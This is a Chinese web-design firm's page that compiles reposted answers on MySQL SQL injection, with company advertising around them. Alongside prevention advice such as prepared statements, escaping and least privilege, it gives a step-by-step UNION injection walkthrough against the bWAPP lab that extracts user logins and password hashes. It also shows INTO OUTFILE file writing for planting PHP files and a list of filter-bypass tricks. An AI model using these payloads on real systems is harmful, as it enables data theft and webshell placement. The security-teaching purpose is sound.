是否有漏洞與代碼有關,與此無關
創新互聯堅持“要么做到,要么別承諾”的工作理念,服務領域包括:網站建設、成都網站建設、企業官網、英文網站、手機端網站、網站推廣等服務,滿足客戶于互聯網時代的象山網站設計、移動媒體設計的需求,幫助企業找到有效的互聯網解決方案。努力成為您成熟可靠的網絡建設合作伙伴!
其中主流的連接MySQL的方式是用mysql或者mysql2包,它們只是提供了調用驅動的api。很多框架中包括egg,nest都是基于此封裝的。
但這不是SQL注入的關鍵,它只是一種連接方式。它只管連接,不管其他的,存不存在SQL注入完全靠寫代碼的人本身啊。
一句腳本本沒有問題(知道不讓直接放sql的,也是放注入),但是你如果讓SQL變成由用戶輸入拼接而成,那就存在SQL注入的風險。
你應該去了解SQL注入的原理,然后進行防患,百度就能找到,然后可以用ORM,一般都對輸入做了處理,還能避免直接寫SQL(但其實難的地方還得自己寫)。
有不理解可以追問。
SQL注入是一種非常常見的數據庫攻擊手段,同時也是網絡世界中最普遍的漏洞之一,簡單理解就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使數據庫執行非常規代碼的過程。
問題來源是,SQL數據庫的操作是通過SQL語句來執行的,而無論是執行代碼還是數據項都必須寫在SQL語句中,也就導致如果我們在數據項中加入了某些SQL語句關鍵字,比如SELECT、DROP等,這些關鍵字就很有可能在數據庫寫入或讀取數據時得到執行。
解決方案
方案一:
采用預編譯技術
使用預編譯的SQL語句,SQL語句的語義不會是不會發生改變的。預編譯語句在創建的時候就已經將指定的SQL語句發送給了DBMS,完成了解析,檢查,編譯等工作,所以攻擊者無法改變SQL語句的結構,只是把值賦給?,然后將?這個變量傳給SQL語句。當然還有一些通過預編譯繞過某些安全防護的操作,大家感興趣可以去搜索一下。
方案二:
嚴格控制數據類型
在java、c等強類型語言中一般是不存在數字型注入的,因為在接受到用戶輸入id時,代碼一般會做一個int id 的數據類型轉換,假如我們輸入的是字符串的話,那么這種情況下,程序就會報錯。但是在PHP、ASP這些沒有強調處理數據類型的語言,一般我們看到的接收id的代碼都是如下等代碼。
方案三:
對特殊的字符進行轉義
數字型注入可以通過檢查數據類型防止,但是字符型不可以,那么怎么辦呢,最好的辦法就是對特殊的字符進行轉義了。比如在MySQL中我們可以對" '
"進行轉義,這樣就防止了一些惡意攻擊者來閉合語句。當然我們也可以通過一些安全函數來轉義特殊字符。如addslashes()等,但是這些函數并非一勞永逸,攻擊者還可以通過一些特殊的方式繞過。
找到注入點后利用語句:select [column...] from [table_name] into outfile [path]導出數據信息。此信息可以被sql注入利用。
找出對象服務器系統,找出apache的根目錄,利用上面語句,將一個文件放到根目錄中,隨后可以在頁面中訪問該文件。文件名后綴可以自定義。
有時候導入導出權限會被mysql限制,只能將文件導入或導出到指定位置:
ERROR 1290: The MySQL server is running with the __secure-file-priv option so it cannot execute this statement
這時可以使用語句:show variables like 'secure_file_priv'來查詢能導入導出的位置
找到位置后就在對應位置導入或者導出文件:
select * from users into outfile '/var/lib/mysql-files/aa'
這時我們可以導出一個php文件,比如
select '?php phpinfo() ?' into outfile '/var/lib/mysql-files/test.php';phpinfo是導出php服務器環境的配置信息
然后,我們再去/var/lib/mysql-files目錄下查看是否真的導出成功了。
我們進行測試這里是否存在SQL注入漏洞
輸入a'
點擊搜索后
報錯了,說明很大可能存在SQL注入漏洞了。
order by 語句
輸入 a' order by 1 #
輸入a' order by 7#
輸入a' order by 8#
由此可以判斷出,庫中有7個列。
使用聯合查詢注入union
輸入a' union select 1,2,3,4,5,6,7#
可以看出是從2開始顯示。
可以將2,3,5,4,替換成我們想要查詢的信息
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user() 連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統
輸入a' union select 1,database(),3,4,5,6,7#
可見當前數據庫為bwapp
輸入a' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#
當前數據庫(bwapp)中,有五張表,其中users比較重要。
先查看users表的所有的列的信息
輸入a' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
一共有9列。
其中的login和password,應該是我們有我們想要的東西。
那我們就去查出它們的信息
輸入a' union select 1,login,password,4,5,6,7 from users#
獲取login信息和password密碼
其中密碼是經過md5加密,我們需要去解密
1.POST注入,通用防注入一般限制get,但是有時候不限制post或者限制的很少,這時候你就可以試下post注入,比如登錄框、搜索框、投票框這類的。另外,在asp中post已被發揚光大,程序員喜歡用receive來接受數據,這就造成了很多時候get傳遞的參數通過post/cookie也能傳遞,這時如果恰好防注入程序只限制了get,因此post注入不解釋
2.cookie注入,原理同post注入,繞過相當多通用防注入
3.二次注入,第一次注入的數據可能不會有效,但是如果將來能在某個頁面里面被程序處理呢?注入來了……
4.csrf,適合后臺地址已知并且存在已知0day,可以試試用csrf劫持管理員來進行操作(這招其實不屬于sql注入了)
5.打碎關鍵字,比如過濾select,我可以用sel/**/ect來繞過,這招多見于mysql
6.有時候也可以sELeCT這樣大小寫混淆繞過
7.用chr對sql語句編碼進行繞過
8.如果等于號不好使,可以試試大于號或者小于號,如果and不好使可以試試or,這樣等價替換
9.多來幾個關鍵字確定是什么防注入程序,直接猜測源碼或者根據報錯關鍵字(如"非法操作,ip地址已被記錄")把源碼搞下來研究
10.記錄注入者ip和語句并寫入文件或數據庫,然而數據庫恰好是asp的,插馬秒殺
MySQL SQL 注入
SQL注入可能是目前互聯網上存在的最豐富的編程缺陷。 這是未經授權的人可以訪問各種關鍵和私人數據的漏洞。 SQL注入不是Web或數據庫服務器中的缺陷,而是由于編程實踐較差且缺乏經驗而導致的。 它是從遠程位置執行的最致命和最容易的攻擊之一。
我們永遠不要信任用戶的輸入,我們必須認定用戶輸入的數據都是不安全的,我們都需要對用戶輸入的數據進行過濾處理。
以下實例中,輸入的用戶名必須為字母、數字及下劃線的組合,且用戶名長度為 8 到 20 個字符之間:
讓我們看下在沒有過濾特殊字符時,出現的SQL情況:
以上的注入語句中,我們沒有對 $name 的變量進行過濾,$name 中插入了我們不需要的SQL語句,將刪除 users 表中的所有數據。
在PHP中的 mysqli_query() 是不允許執行多個 SQL 語句的,但是在 SQLite 和 PostgreSQL 是可以同時執行多條SQL語句的,所以我們對這些用戶的數據需要進行嚴格的驗證。
防止SQL注入,我們需要注意以下幾個要點:
永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙”-“進行轉換等。
永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
sql注入的檢測方法一般采取輔助軟件或網站平臺來檢測,軟件一般采用sql注入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻擊等。
教程來源:樹懶學堂_一站式數據知識學習平臺_MySQK 防止SQL注入
當前名稱:mysql怎么sql注入 如何進行sql注入
當前鏈接:http://vcdvsql.cn/article14/hhpdde.html
成都網站建設公司_創新互聯,為您提供品牌網站建設、ChatGPT、域名注冊、用戶體驗、建站公司、云服務器
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯